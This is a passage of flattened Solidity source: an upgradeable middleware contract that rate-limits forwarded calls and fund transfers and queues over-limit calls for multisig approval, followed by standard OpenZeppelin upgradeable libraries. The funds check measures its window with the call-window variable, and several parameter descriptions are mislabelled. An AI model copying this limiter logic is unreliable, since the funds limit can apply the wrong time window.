keccak256("MIDDLEWARE_ROLE"); bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE"); bytes32 public constant MULTISIG_ROLE = keccak256("MULTISIG_ROLE"); IBinarySearch binarySearch; address multisigAddress; struct Stat { // set up string functionName; string functionSignature; bytes4 functionId; address contractAddress; bool isTracked; // limiting function calls uint256 lastTimeCalled; uint256 limitCallsPerFrameTime; uint256 totalAmoutOfCalls; uint256 frameTimeCalls; uint256[] accumulatedCalls; uint256[] calledOnTimestamp; // limiting movement of funds uint256 frameTimeFunds; uint256 limitFundsPerFrameTime; uint256 totalFundsTransferred; uint256[] accumulatedFundsTransferred; uint256[] fundsdOnTimestamp; // function selector } // function ID => Stat mapping(bytes4 => Stat) stats; enum updateStatTypes { updateCalls, updateAmounts } // Queue for threshold exceeded functions struct Queue { address to; bytes data; } Queue[] functionQueue; // Function setting events event NewFunctionTracked( string indexed functionName, bytes4 indexed functionId, address contractAddress, uint256 limitCallsPerFrameTime, uint256 frameTimeCalls, uint256 frameTimeFunds, uint256 limitFundsPerFrameTime ); event FunctionTrackingUpdated( string indexed functionName, string statType, uint256 newAmount ); // Function Call Event event AmountFunctionCalls( string indexed functionName, uint256 timestamp, address caller, uint256 totalAmoutOfCalls ); event AmountFundsTransferred( string indexed functionName, uint256 timestamp, address caller, uint256 amount, uint256 totalFundsTransferred ); // Threshold events event ThresholdExceeded( string thresholdType, string functionName, uint256 amount ); // Multisig queue events event ApprovalSubmitted( uint256 indexed idOfQueueElement, bool hasBeenApproved ); event QueueAdded(uint256 maxIndex, address to, bytes payload); /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} /// @notice Standard init function for proxy upgradability /// @dev Need to deploy the the Binary Search contract separately as a library, and need to define the multisig address as param /// @param _binarySearchAddress address of the deployed binary search library /// @param _multisigAddress address of the multisig owning the contract and allowed to approve calls which have exceeded limits function initialize(address _binarySearchAddress, address _multisigAddress) public initializer { __Pausable_init(); __AccessControl_init(); __UUPSUpgradeable_init(); // Tooling binarySearch = IBinarySearch(_binarySearchAddress); // External addresses multisigAddress = _multisigAddress; _grantRole(UPGRADER_ROLE, _multisigAddress); _grantRole(UPDATER_ROLE, _multisigAddress); _grantRole(PAUSER_ROLE, _multisigAddress); _grantRole(MULTISIG_ROLE, _multisigAddress); _grantRole(MIDDLEWARE_ROLE, _multisigAddress); _grantRole(DEFAULT_ADMIN_ROLE, _multisigAddress); _grantRole(DEFAULT_ADMIN_ROLE, _msgSender()); _grantRole(UPDATER_ROLE, _msgSender()); } //////////////////////////////////////////////////////////////////// /////////////////// Forwarding Functions /////////////////////////// //////////////////////////////////////////////////////////////////// /// @notice Function that forwards all the calls with _payload to contracts based on _function name /// @dev This function must be automated to be used in the backend /// @param _amount main amount of the function e.g.: amount transferred, staked, claimed..etc /// @param _payload byte code to pass to the contract call containing the fn signature and parameters encoded function forwardCallToProxy(uint256 _amount, bytes calldata _payload) public onlyRole(MIDDLEWARE_ROLE) { bytes4 _functionId = getFunctionIdFromPayload(_payload); Stat storage _stat = stats[_functionId]; // Require to be added to stats mapping otherwise no tracker inited require(_stat.isTracked, "Middleware: Function is not yet tracked"); // If multisig calling the function, no validation is done if (_msgSender() != multisigAddress) { // If not multisig follow validation bool callsExceeded = validateLimitOfCallsPerFrameTime(_functionId); bool amountsExceeded = validateAmountTransferredPerFrameTime( _functionId, _amount ); // If call count of amount is exceeded create an element for the function queue // so the multisig can approve this and create a new transaction if (callsExceeded || amountsExceeded) { Queue memory queue = Queue(_stat.contractAddress, _payload); functionQueue.push(queue); emit QueueAdded( functionQueue.length - 1, _stat.contractAddress, _payload ); return; } } // Updating stats updateStat(_functionId, updateStatTypes.updateAmounts, _amount); updateStat(_functionId, updateStatTypes.updateCalls, 0); // Forwarding call to contract (bool success, ) = address(_stat.contractAddress).call(_payload); require( success, "Middleware: Cannot forward call in forwardCallToProxy()" ); } //////////////////////////////////////////////////////////////////// /////////////////// Middleware Functions ////////////////////////// //////////////////////////////////////////////////////////////////// /// @notice Create a new tracking for a function in the middleware /// @dev Required to add function otherwise not allowed to be called by `executeRemoteFunction()`, emits `NewFunctionTracked` /// @param _functionName simple function name without parameters e.g.: `transfer` /// @param _functionSignature signature of the function like `transfer(address,uint256)` /// @param _address contract address which hosts the function being added with `addNewTrackingForFunction` /// @param _limitCallsPerFrameTime amount of time frame for call number limits (rolling timeframe) /// @param _frameTimeCalls total number of calls can be called within the rolling time frame /// @param _frameTimeFunds total amount of function can be used e.g: transfer amount /// @param _limitFundsPerFrameTime amount of time frame for amount based limits (rolling timeframe) function addNewTrackingForFunction( string memory _functionName, string memory _functionSignature, address _address, uint256 _limitCallsPerFrameTime, uint256 _frameTimeCalls, uint256 _frameTimeFunds, uint256 _limitFundsPerFrameTime ) public onlyRole(UPDATER_ROLE) whenNotPaused { bytes4 _functionId = getStringEncoded(_functionSignature); Stat memory _stat = Stat({ functionName: _functionName, functionSignature: _functionSignature, functionId: _functionId, contractAddress: _address, isTracked: true, lastTimeCalled: block.timestamp, limitCallsPerFrameTime: _limitCallsPerFrameTime, totalAmoutOfCalls: 0, frameTimeCalls: _frameTimeCalls, accumulatedCalls: new uint256[](0), calledOnTimestamp: new uint256[](0), frameTimeFunds: _frameTimeFunds, limitFundsPerFrameTime: _limitFundsPerFrameTime, totalFundsTransferred: 0, accumulatedFundsTransferred: new uint256[](0), fundsdOnTimestamp: new uint256[](0) }); stats[_functionId] = _stat; emit NewFunctionTracked( _functionName, _functionId, _address, _limitCallsPerFrameTime, _frameTimeCalls, _frameTimeFunds, _limitFundsPerFrameTime ); } /// @notice The treshold of each function id being tracked could be increased /// @param _functionId is a bytes4 representation from the function signature /// @param _statType one of two types for updating stats: limitCallsPerFrameTime | limitFundsPerFrameTime /// @param _newAmount new threshold for whichever stat type function updateTrackingThresholdForFunction( bytes4 _functionId, string memory _statType, uint256 _newAmount ) public onlyRole(UPDATER_ROLE) whenNotPaused { if ( getStringEncoded(_statType) == getStringEncoded("limitCallsPerFrameTime") ) { stats[_functionId].limitCallsPerFrameTime = _newAmount; } if ( getStringEncoded(_statType) == getStringEncoded("limitFundsPerFrameTime") ) { stats[_functionId].limitFundsPerFrameTime = _newAmount; } if (getStringEncoded(_statType) == getStringEncoded("frameTimeCalls")) { stats[_functionId].frameTimeCalls = _newAmount; } if (getStringEncoded(_statType) == getStringEncoded("frameTimeFunds")) { stats[_functionId].frameTimeFunds = _newAmount; } emit FunctionTrackingUpdated( stats[_functionId].functionName, _statType, _newAmount ); } //////////////////////////////////////////////////////////////////// /////////////////// Internal Functions //////////////////////////// //////////////////////////////////////////////////////////////////// /// @notice Updates the Stat of a particular function id whwnever it's called /// @dev Keeps up to date the amount of calls being made or the amount of funds being transferred /// @param _functionId is a bytes4 representation from the function signature /// @param _updateType one of two types for updating stats: calls or funds /// @param _amount is the nw given amount of funds being transferred or calls to be made as limits function updateStat( bytes4 _functionId, updateStatTypes _updateType, uint256 _amount ) internal { stats[_functionId].lastTimeCalled = block.timestamp; if (_updateType == updateStatTypes.updateAmounts) { // update stats for funds transferred stats[_functionId].fundsdOnTimestamp.push(block.timestamp); stats[_functionId].totalFundsTransferred += _amount; stats[_functionId].accumulatedFundsTransferred.push( stats[_functionId].totalFundsTransferred ); emit AmountFundsTransferred( //_functionName, stats[_functionId].functionName, block.timestamp, _msgSender(), _amount, stats[_functionId].totalFundsTransferred ); } if (_updateType == updateStatTypes.updateCalls) { // Update stats for function calls stats[_functionId].totalAmoutOfCalls++; stats[_functionId].calledOnTimestamp.push(block.timestamp); stats[_functionId].accumulatedCalls.push( stats[_functionId].totalAmoutOfCalls ); emit AmountFunctionCalls( //_functionName, stats[_functionId].functionName, block.timestamp, _msgSender(), stats[_functionId].totalAmoutOfCalls ); } } /// @notice Validation method regarding the amount of transferred funds within time frame /// @dev Validates whether a particular function id has transferred more funds than the limits /// @param _functionId is a bytes4 representation from the function signature /// @param _amount is a given amount of funds being transferred function validateAmountTransferredPerFrameTime( bytes4 _functionId, uint256 _amount ) internal returns (bool) { Stat memory _stat = stats[_functionId]; // True when validating amount transferred is not needed if (_stat.limitFundsPerFrameTime == 0) { return false; } // Calculating amount transferred within time frame uint256 fundsTransferredWithinTimeFrame; if (_stat.fundsdOnTimestamp.length != 0) { uint256 callsBeforeFrameTimeIx = binarySearch.binarySearch( _stat.fundsdOnTimestamp, block.timestamp.sub(_stat.frameTimeCalls) ); uint256 accumulatedCallsUntilTimeFrame = _stat .accumulatedFundsTransferred[callsBeforeFrameTimeIx]; fundsTransferredWithinTimeFrame = _stat.totalFundsTransferred.sub( accumulatedCallsUntilTimeFrame ); } else { fundsTransferredWithinTimeFrame = 0; } // validation if ( fundsTransferredWithinTimeFrame.add(_amount) > _stat.limitFundsPerFrameTime ) { emit ThresholdExceeded( "amount", _stat.functionName, fundsTransferredWithinTimeFrame.add(_amount) ); return true; } return false; } /// @notice Validation method regarding the amount of calls within time frame /// @dev Validates whether a particular function id has been called within limits or not /// @param _functionId is a bytes4 representation from the function signature function validateLimitOfCallsPerFrameTime(bytes4 _functionId) internal returns (bool) { Stat memory _stat = stats[_functionId]; // True when validating amount of calls is not needed if (_stat.limitCallsPerFrameTime == 0) { return false; } if (_stat.totalAmoutOfCalls != 0) { // finding out amount of times called in the last frame time uint256 callsBeforeFrameTimeIx = binarySearch.binarySearch( _stat.calledOnTimestamp, block.timestamp.sub(_stat.frameTimeCalls) ); uint256 accumulatedCallsUntilTimeFrame = _stat.accumulatedCalls[ callsBeforeFrameTimeIx ]; uint256 callsWithinTimeFrame = _stat.totalAmoutOfCalls.sub( accumulatedCallsUntilTimeFrame ); // If validation calls fails if (callsWithinTimeFrame.add(1) > _stat.limitCallsPerFrameTime) { emit ThresholdExceeded( "call", _stat.functionName, callsWithinTimeFrame.add(1) ); return true; } } return false; } //////////////////////////////////////////////////////////////////// /////////////////// Internal Util Functions /////////////////////// //////////////////////////////////////////////////////////////////// /// @notice Obtains a bytes4 type from _payload /// @dev _payload is built before calling this function /// @param _payload is the bytes formed by encoding function signtaure plus params function getFunctionIdFromPayload(bytes calldata _payload) public pure returns (bytes4) { bytes4 sig = _payload[0] | (bytes4(_payload[1]) >> 8) | (bytes4(_payload[2]) >> 16) | (bytes4(_payload[3]) >> 24); return sig; } /// @notice Obtains a bytes4 type from params /// @dev It's used as a look-up key for stats mapping and string comparisons /// @param _func is the function signature used to build the functionId or any string converted to bytes for comparing purposes function getStringEncoded(string memory _func) internal pure returns (bytes4) { return bytes4(keccak256(bytes(_func))); } //////////////////////////////////////////////////////////////////// /////////////////// External Functions //////////////////////////// ////////////////////// Multisig only ////////////////////////////// //////////////////////////////////////////////////////////////////// function approveQueueElement( uint256 _idOfQueueElement, bool _hasBeenApproved ) public whenNotPaused onlyRole(MULTISIG_ROLE) { if (_hasBeenApproved) { // fetch function from queue Queue memory queue = functionQueue[_idOfQueueElement]; delete functionQueue[_idOfQueueElement]; (bool _ret, ) = queue.to.call(queue.data); require(_ret, "Middleware: Approved function call returned false"); // at the end of logic delete queue element } else { //_hasBeenApproved == false // dont execute just delete from queue delete functionQueue[_idOfQueueElement]; } emit ApprovalSubmitted(_idOfQueueElement, _hasBeenApproved); } function getQueueData(uint256 _id) public view whenNotPaused onlyRole(MULTISIG_ROLE) returns (address, bytes memory) { return (functionQueue[_id].to, functionQueue[_id].data); } //////////////////////////////////////////////////////////////////// /////////////////////////// Imports ////////////////////////////// //////////////////////////////////////////////////////////////////// function pause() public onlyRole(PAUSER_ROLE) { _pause(); } function unpause() public onlyRole(PAUSER_ROLE) { _unpause(); } function _authorizeUpgrade(address newImplementation) internal override onlyRole(UPGRADER_ROLE) {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; /// @custom:security-contact [email protected],[email protected] interface IBinarySearch { function binarySearch(uint256[] memory _data, uint256 _target) external returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use 